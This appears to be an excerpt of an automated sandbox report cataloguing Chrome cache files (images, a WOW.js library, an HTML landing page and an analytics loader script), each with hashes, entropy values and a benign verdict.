Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:53880F85C2E311EDAFBDD072DC77EBB3" xmpMM:InstanceID="xmp.iid:53880F84C2E311EDAFBDD072DC77EBB3" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D2BE3B76BA8511ED9E18B1F319AD2715" stRef:documentID="xmp.did:D2BE3B77BA8511ED9E18B1F319AD2715"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d........C....................................................................C................................................

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 750x1200, components 3
Category:	dropped
Size (bytes):	353391
Entropy (8bit):	7.976271672146772
Encrypted:	false
SSDEEP:	6144:0QdldlZGhhyMrG7hVCHsPmcAogV+aZECePjEwYMTm46wGMf9apo0popZeK:0QdldyhhygchVCHsPsc2ECePjjTmmwoB
MD5:	7A8BF52F637F8D2B41151496E51E00AD
SHA1:	D2DC166D1EB99F0C6FC96E6394AD4ED068FC7F0A
SHA-256:	D058DD24163A138F3C70AFD262C514EC0EF36A7CBE5C186774C521AEA5A6E26F
SHA-512:	29AAE295B65D8A698C9E99F91906FAA10C47098174F86E0E260F72059D3B6043668402897087F37FE4559B55E3DF487B8A8E3919F5B34F42F39B44964CABFBD7
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P.....~http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:37217047-b8a5-4e2f-a1ee-3a4aa0a2cc99" xmpMM:DocumentID="xmp.did:8A0EEC70DCE811ED956FEEAE57164561" xmpMM:InstanceID="xmp.iid:8A0EEC6FDCE811ED956FEEAE57164561" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:499917fb-7cd8-41b8-9337-fe4801de8e91" stRef:documentID="xmp.did:37217047-b8a5-4e2f-a1ee-3a4aa0a2cc99"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d........C.....................................

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	42887
Entropy (8bit):	7.971797931434544
Encrypted:	false
SSDEEP:	768:n+0cI2dFugBpc3ixUdXdZN6d04QQEVziCu5GGrbpTMWHxcrQSJqox3koOZXm8g:np2n/MXdZodvHEYCu5GEZbQq43koOZWt
MD5:	69849C3F6EE4CCDFFCBF115958D09836
SHA1:	ECC65EBD5B4871DE071981A36D905185C84F79D5
SHA-256:	643639A06D77CBC0A67CE8360FA8E9C696BE3E080E75C2412C343B10BC9450D8
SHA-512:	F201B0E10F4116C41742876231194A225B71E3D2E4B34A0BC003CBBA68FB85A2073953B05258B270FA75714EC1F71081273B8E05EDAAEB0D8895DF2971DC0FBD
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P...../http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmpMM:InstanceID="xmp.iid:59C26F96C2DC11ED9A7A9426DC728900" xmpMM:DocumentID="xmp.did:59C26F97C2DC11ED9A7A9426DC728900"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:59C26F94C2DC11ED9A7A9426DC728900" stRef:documentID="xmp.did:59C26F95C2DC11ED9A7A9426DC728900"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............................................................................................................................

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 226x226, components 3
Category:	dropped
Size (bytes):	20659
Entropy (8bit):	7.968494171487602
Encrypted:	false
SSDEEP:	384:+K0Ggyj8cVpeVaHccPR54vZgua80LYsf2WFj4CfabAdHIXgoEW5GpIn95UwiuOGX:vX7j8+MVa/PR0qYsfvphbdgiW5J9rsZG
MD5:	029E40F083C5C9A5AACFD72F9B19D18A
SHA1:	5572AE82AE08053C12BB85BF903A1727FF229338
SHA-256:	EEC39A7335E2F4251F7D7DBA89F26EDE7B37D3CB65CB8CA8AC49117A65EB4E53
SHA-512:	0F2A088CBD5AA950207A9C7FECEF94127F07BA722E21B659247EB7D603923D372170677EA10E9C155982E2E160D27AD8CB2428E6A0062DCD1C4289898656CF45
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:AE361468CA1811EDB79AD1D914614233" xmpMM:InstanceID="xmp.iid:AE361467CA1811EDB79AD1D914614233" xmp:CreatorTool="Adobe Photoshop CC 2017 Windows"> <xmpMM:DerivedFrom stRef:instanceID="96FA2213A6EC5C166BC4B36ED5983CB3" stRef:documentID="96FA2213A6EC5C166BC4B36ED5983CB3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................................................................................................................

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	65905
Entropy (8bit):	7.974953106243287
Encrypted:	false
SSDEEP:	1536:Go18cmWp9Rj/tc87YFNHsky6u6Ku5/ZqmQBOgsElHJkib9KJy:G4zm+a8UFhU6JK4qmBLQqibIs
MD5:	119F46CFC4B074B8F32BDD7159426A20
SHA1:	E78C6C249E762940AC7B02C7BB0B9B6B5B4098CA
SHA-256:	03FD887B3A4DF81D165F15EC7B0700456104B871DFF91F00615C6ABA9FC80A64
SHA-512:	1672312F010CCB629E2F21CAD3AA3A721C86BEF1CFC40203FB04B0AE59F09C28F0E53487678394CAC3984E55423A2F0B6069F2DF97E91B263BB5E0AC6FB3901D
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:7A622689C2E311ED913597CCE55D884C" xmpMM:InstanceID="xmp.iid:7A622688C2E311ED913597CCE55D884C" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ADF7E5FABA8A11ED9E18B1F319AD2715" stRef:documentID="xmp.did:ADF7E5FBBA8A11ED9E18B1F319AD2715"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..............................................................................................................................

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7027)
Category:	downloaded
Size (bytes):	7057
Entropy (8bit):	5.1290115921534705
Encrypted:	false
SSDEEP:	96:2PV6GqKyR6TYATHF/suCg5OVEE1nce1gJ1IHImBaokbl:2PVfSWFsuCsOVEENceiJmHILoe
MD5:	4B253CABAAFA86647183695C4C4365E7
SHA1:	D653B2ED6A5D94F718B4DDCBEF28D57BD8668CEF
SHA-256:	027931E5177ABC3F452DD92FFEA8867A18381BCCE1779BFE3843D4D7A582F97A
SHA-512:	029B932197A229594B96A294B0A4E7E660DDDA4C870DDBF1D923AA6703467919720BCC3EF83EA2040925A2154970021ACE58B1FB453232B642A1560C129F2501
Malicious:	false
Reputation:	low
URL:	https://www.hbyczyz.com/resources/assets/lib/js/wow.min.js?v=0.574
Preview:	/! WOW - v1.0.1 - 2014-09-03. Copyright (c) 2014 Matthieu Aussaguel; Licensed MIT */(function(){var a,b,c,d,e,f=function(a,b){return function(){return a.apply(b,arguments)}},g=[].indexOf\|\|function(a){for(var b=0,c=this.length;c>b;b++)if(b in this&&this[b]===a)return b;return-1};b=function(){function a(){}return a.prototype.extend=function(a,b){var c,d;for(c in b)d=b[c],null==a[c]&&(a[c]=d);return a},a.prototype.isMobile=function(a){return/Android\|webOS\|iPhone\|iPad\|iPod\|BlackBerry\|IEMobile\|Opera Mini/i.test(a)},a.prototype.addEvent=function(a,b,c){return null!=a.addEventListener?a.addEventListener(b,c,!1):null!=a.attachEvent?a.attachEvent("on"+b,c):a[b]=c},a.prototype.removeEvent=function(a,b,c){return null!=a.removeEventListener?a.removeEventListener(b,c,!1):null!=a.detachEvent?a.detachEvent("on"+b,c):delete a[b]},a.prototype.innerHeight=function(){return"innerHeight"in window?window.innerHeight:document.documentElement.clientHeight},a}(),c=this.WeakMap\|\|this.MozWeakMap\|\|(c=function(

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 (with BOM) text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	3588
Entropy (8bit):	5.14117910774394
Encrypted:	false
SSDEEP:	48:MmMq1KE2zPGbW47UxweKP/Ln4DxIAyQv+ZAH/Bb:eIhZbWEUxT4Ln4lI+++H/Bb
MD5:	1EF589C295CE53363EFEC8C6735FE37B
SHA1:	8DCCAECA3655771722E835EAF4555059698956A8
SHA-256:	AFE6E4C45F67E64F88DFE337802209C7397038A77F1C0FADBCC2E7C53FF33CBE
SHA-512:	03FC8A4CEED328ED406B2F97AFB03031E88B7233C897B355E95C130136C9EA27FA9F423F943A568B0DF70E5F4381AE96087BB8BA21765627DB8595D7353264A8
Malicious:	false
Reputation:	low
URL:	https://www.zhspay.com/zhuye/index.html
Preview:	....<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="http://www.w3.org/1999/xhtml">..<head>..<meta content="text/html; charset=UTF-8" http-equiv="Content-Type">..<meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1.0,maximum-scale=1.0,minimum-scale=1.0">....<script>..var is_mobi = navigator.userAgent.toLowerCase().match(/(ipad\|iphone\|android\|coolpad\|mmp\|smartphone\|midp\|wap\|xoom\|symbian\|j2me\|blackberry\|wince)/i) != null; ..if (is_mobi) { .. window.location.href = "https://www.zhspay.com/zhuye/m/index.html"; ..} ..</script>....<title></title>......<link media="all" href="index.css" type="text/css" rel="stylesheet">..<link media="all" href="site.css" type="text/css" rel="stylesheet">..<base href="https://www.zhspay.com/zhuye/ ">..</head>..<body>..<div class="con">...<div class="container">...<div align="center">.. .<div class="top">.. .... . <a t

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 750x1200, components 3
Category:	downloaded
Size (bytes):	417550
Entropy (8bit):	7.974990172812375
Encrypted:	false
SSDEEP:	6144:EwYVUSawfTrNKVdi3O5YXjq6YxRIidN0ktGA8R+tnY7TaWwSPiNKQFFRKEptn9Ok:8b1rrIVAi6YxnNXtG3o+jwS6RKEpt82
MD5:	F7A1F048256F7D857F3EEB0F97DE1067
SHA1:	5E8A55F1648E67BA5CA09D9D573BDC4A3ADF02F8
SHA-256:	8168248485C01074E1E1DBC636A25E383C9F5B5621C25E764186C7972D421B2F
SHA-512:	375420FC4D608A06734450CC7AA5298408DBA099A750310E02DF3413F9A99E444ECBAF892638AB3C7477829DEC5EDFDC597E0256F131BD97FA62BCF5FBA713EB
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/17/image_1681712269_IDS64oVy.jpg
Preview:	......Exif..II*.................Ducky.......P.....~http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:37217047-b8a5-4e2f-a1ee-3a4aa0a2cc99" xmpMM:DocumentID="xmp.did:FE396830DCE811ED8F82E37E6CE5A4AD" xmpMM:InstanceID="xmp.iid:FE39682FDCE811ED8F82E37E6CE5A4AD" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:499917fb-7cd8-41b8-9337-fe4801de8e91" stRef:documentID="xmp.did:37217047-b8a5-4e2f-a1ee-3a4aa0a2cc99"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d........C.....................................

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (554), with CRLF line terminators
Category:	downloaded
Size (bytes):	718
Entropy (8bit):	5.417085652939942
Encrypted:	false
SSDEEP:	12:i0ztFnrX/rJT1jxUeZZWypvrDRWxdmpByIPt6CWt35bVN6fTClVFhDf59zf54F39:J5FbNTIeZocvrDRWxdYBtt6Cg5CfoZ96
MD5:	7508AA9626CA42F55395E1C730CA2A42
SHA1:	5844F42D5773EBE2818C487F59364D5BFC6ADD82
SHA-256:	6D04D2E22711AB44CFC76138B4D5F02521D57FF0E7A2A41EB4FE31698E990990
SHA-512:	FB7CF95FB33C46B581DB09A1B991B10FC56C4D8C6CC5F6A20408A923AC927930D63FC65B8692A7691FAE478AE7371AA32AEFA4A379F19311E40F2ACF4C313A9A
Malicious:	false
Reputation:	low
URL:	https://www.zhspay.com/zhuye/jquery.la.min.js
Preview:	document.write("<script>!function(p){\"use strict\";!function(t){var s=window,e=document,i=p,c=\"\".concat(\"https:\"===e.location.protocol?\"https://\":\"http://\",\"sdk.51.la/js-sdk-pro.min.js\"),n=e.createElement(\"script\"),r=e.getElementsByTagName(\"script\")[0];n.type=\"text/javascript\",n.setAttribute(\"charset\",\"UTF-8\"),n.async=!0,n.src=c,n.id=\"LA_COLLECT\",i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&&o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:\"JeAfDFy7gXnU2Q0U\",ck:\"JeAfDFy7gXnU2Q0U\"});</script>")....document.write('<div style="display:none"><script src="https://js.users.51.la/20655415.js" language="JavaScript" type="text\/javascript"><\/sc'+'ript></div>');

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	53833
Entropy (8bit):	7.978801914887791
Encrypted:	false
SSDEEP:	1536:zaWm2kzJ5Fci3RsW9wk7nLqqfkq4dZZR2RX:zaWmfbFxRsEwk7Lq4kq4RYRX
MD5:	09BC360A0EB088873CB0B32DE9FC7BCB
SHA1:	2287F40E4C98E013DFF81548000B1EA90493E6DF
SHA-256:	3DCC9D052ACBCBEF6687F9B7CABDF402BD1D3B91E4ABBDFA333143EC7425B0C2
SHA-512:	FA99B0F5AAF6076F2B11A2F8FE4D6EB4F705CCC960626C4D6B10F880256A9C16530A7F97ABDB204BF439A6137EAE9B732A7490EE92510AD0723DEC729DD2C863
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:53880F85C2E311EDAFBDD072DC77EBB3" xmpMM:InstanceID="xmp.iid:53880F84C2E311EDAFBDD072DC77EBB3" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D2BE3B76BA8511ED9E18B1F319AD2715" stRef:documentID="xmp.did:D2BE3B77BA8511ED9E18B1F319AD2715"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d........C....................................................................C................................................

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 400 x 400, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2064
Entropy (8bit):	5.209161645211475
Encrypted:	false
SSDEEP:	24:XZ1hfvWwjx82lY2T3JVWaFyJ3VZQZXYGF6:XANn2NcJ3PcYE6
MD5:	71F8A69BD99C652FBB4A022B33978C92
SHA1:	4F80308D2E4198A55EB8AE4F3D26BF4ADCE7A120
SHA-256:	41B14E7A4D11BD919FC5BDA3CEA8574E7D60A3C4CF6668CAE74B68CE1948FB57
SHA-512:	BF088ED0C7DDF09FCC5788C59AF7AAD8DFD96BCF0AE9034ED74F5B24A527AD611EFF402489E5CAE1F9D8B0ACD5C90F4C1C3CC3DD4B3752BC739B30EB7BA4A0AA
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............6.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmpMM:InstanceID="xmp.iid:4C763681C14511EDA083F5C43D19AE7C" xmpMM:DocumentID="xmp.did:4C763682C14511EDA083F5C43D19AE7C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4C76367FC14511EDA083F5C43D19AE7C" stRef:documentID="xmp.did:4C763680C14511EDA083F5C43D19AE7C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>M.......IDATx...1.....0....DB.v..........@.0...........@.0...........@.0...........@.0...........@.0...........@.0

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 281
Category:	dropped
Size (bytes):	232
Entropy (8bit):	7.0676437260056115
Encrypted:	false
SSDEEP:	3:FttbL1NiZoYX781qpKiRjsUQs3VoFXggY1nxU2ihA3Q8vatHdWHXbcfdg1imeE:XtbLzA81qpPo+lqE1xU21gaIWrSg1imz
MD5:	D26C13A934C8B22EE43899454C789B9C
SHA1:	416A6678C317A0C76B57D798B5262C58F9DF17FC
SHA-256:	F6922D720C4BCBACD3786AFBA731DC0276255C488139BA8E63339805C1AC505A
SHA-512:	3C1C844AC9ACDEF768EA49DD01965D019078AD0EC626FD0E2456E1AEEAF49B8772785EB1C075C293898EA893B81ECCCBC5D239900452C00F67C4F3E738CBF410
Malicious:	false
Reputation:	low
Preview:	..........d.Ak.0.G...IP'...%H.i..^.YJ.G..32..m...+=.2.....c.PH.I..w/..F].......3.\\|..P.....W........ .M.K.k..W.q.....d.rXF.......SG..sR..&...?E../..7....]Vs...Y#6+.....t~.qbBJ.OC...?/..f.h}.....-.,.z8...:.,.....!........Q.w....

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	25220
Entropy (8bit):	7.952885440660474
Encrypted:	false
SSDEEP:	768:2Ep397ZVUAk21JPUwlu45FNViTIK/tPIghaUAk11Szk:2Ep3xZ6A31JPA455i7ra4wA
MD5:	6AA15219821BCE66A485E9C25C160873
SHA1:	ED45A2FF0A69B91381F984500961EF53200BEC9A
SHA-256:	419F53E09E7970B01EB8CD57941C443477F06AC435025BBCCE20876CEC995D83
SHA-512:	2BB8DA39E6F92E4232B01C5CBFB19271C32E739AAEF2F1B8FAE9BB0C837F5651566453E1A99E6C98C7A87B96F727EA0388E754218F6AB1258B46870E78C4A968
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/about5.jpg
Preview:	......Exif..II*.................Ducky.......P...../http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmpMM:InstanceID="xmp.iid:855D6B5DC2DC11ED940CE12CA8BF8FCA" xmpMM:DocumentID="xmp.did:855D6B5EC2DC11ED940CE12CA8BF8FCA"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:855D6B5BC2DC11ED940CE12CA8BF8FCA" stRef:documentID="xmp.did:855D6B5CC2DC11ED940CE12CA8BF8FCA"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............................................................................................................................

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=12, height=300, bps=158, PhotometricIntepretation=RGB, orientation=upper-left, width=300], baseline, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	108301
Entropy (8bit):	7.911028615330439
Encrypted:	false
SSDEEP:	3072:CSoBMSoBNQ4cwA2cICQU2150Ks7Dj/U8zxHacS:CIRQVwzcVG0nDj/U8zbS
MD5:	8B92AE7A7D990601B2E809F927A8C8BA
SHA1:	F97581B305B5E15727116603EDC221AF15C46017
SHA-256:	AFF187FD15813E190996D04DFD3713EFD0ECDBD71EC04CC179263424531EABF2
SHA-512:	12F03F4729589E8955C0256E75813498596A45A5440FD48649ED93B15FCC542C664A06B0D644D629061F1A19012918C918431FF8EC2099CD960F4BAE793FC2E3
Malicious:	false
Reputation:	low
Preview:	......Exif..II*...............,...........,...........................................................................(...........1...!.......2...........i...........$..............'.......'..Adobe Photoshop 23.4 (Macintosh).2023:08:31 14:29:17..............0231....................,...........,...............................r...........z...(...............................4.......H.......H.............Adobe_CM......Adobe.d......................................................................................................................................................"................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?.....S.5v.P.}..O.o.N.....i`qorI..,c..h.yN.X.c...[c....9%)..D!"...l..).+...

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	709249
Entropy (8bit):	7.98273369964694
Encrypted:	false
SSDEEP:	12288:n5OlzCg0u+4glvizNIuHwRvD0OhCS157WFwXw/LX5CKpW3hh4i54UeCIpRNB:5OlzCgRFglI10AOhCS1LXyLf0NWtR7
MD5:	02A4DB6AAFD2F0118815469D0A340F47
SHA1:	A89ECE9E4481087814F370D24AE5A17F456AC50A
SHA-256:	7834BE0076B4DFBC51B6F7DA2744D5B464BA9E6F6426567429E4137E95A10463
SHA-512:	148B889E967BD1FE3BF26377018387AC78FEE715469D8B4CCAF738457FA4978785C072F7E0CA26BEB4CE916D37597A68B5A606F5DD283258D1606B235A654397
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/03/30/image_1680155843_q68x6Y87.jpg
Preview:	......Exif..II*.................Ducky.......<.....vhttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:afa8a9e6-9716-4248-82b7-b3c757f3a879" xmpMM:DocumentID="xmp.did:DA17669ACA0611EDA607E300E64C0DCF" xmpMM:InstanceID="xmp.iid:DA176699CA0611EDA607E300E64C0DCF" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D331E592CA0611EDA2DEC6E75D060AAC" stRef:documentID="xmp.did:D331E593CA0611EDA2DEC6E75D060AAC"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d........C.............................................

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 740 x 610, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3610
Entropy (8bit):	4.804885459971639
Encrypted:	false
SSDEEP:	96:FDR/6r94444v77777M4444v77777M4444v77777M4444v77777M4444v77777M4c:877777O77777O77777O77777O77777OH
MD5:	DD8E16BC461EDFE15C79429BF69D2C88
SHA1:	89996914020037C910F819BD297FB000657470E0
SHA-256:	C8C014D86CA16088F972D340FF90D993CAFC66A8D4A488E7430F6E72698AE532
SHA-512:	4B6D2B9CE4C15447FDE7CAED3EBCD3BA34C2055FB54EDBA30ADD2F9B414EB4B890CB7C2CAE70E6C23D0A9BBF3B1709CF8304F35FFE8A1442DDB3D6D076F70DEC
Malicious:	false
Reputation:	low
